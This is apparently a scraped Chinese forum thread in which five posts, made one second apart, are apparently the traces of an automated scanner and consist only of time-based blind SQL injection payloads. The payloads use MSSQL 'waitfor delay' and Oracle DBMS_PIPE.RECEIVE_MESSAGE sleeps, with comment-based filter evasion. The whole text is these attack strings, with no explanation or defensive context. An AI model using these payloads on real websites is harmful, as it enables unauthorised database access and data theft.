发表于 2023-3-3 15:12:26
123456'and(select+1)>0waitfor/**/delay'0:0:4
发表于 2023-3-3 15:12:27
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('w',0)
发表于 2023-3-3 15:12:28
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('a',4)
发表于 2023-3-3 15:12:29
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',0)='b
发表于 2023-3-3 15:12:30
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('r',4)='r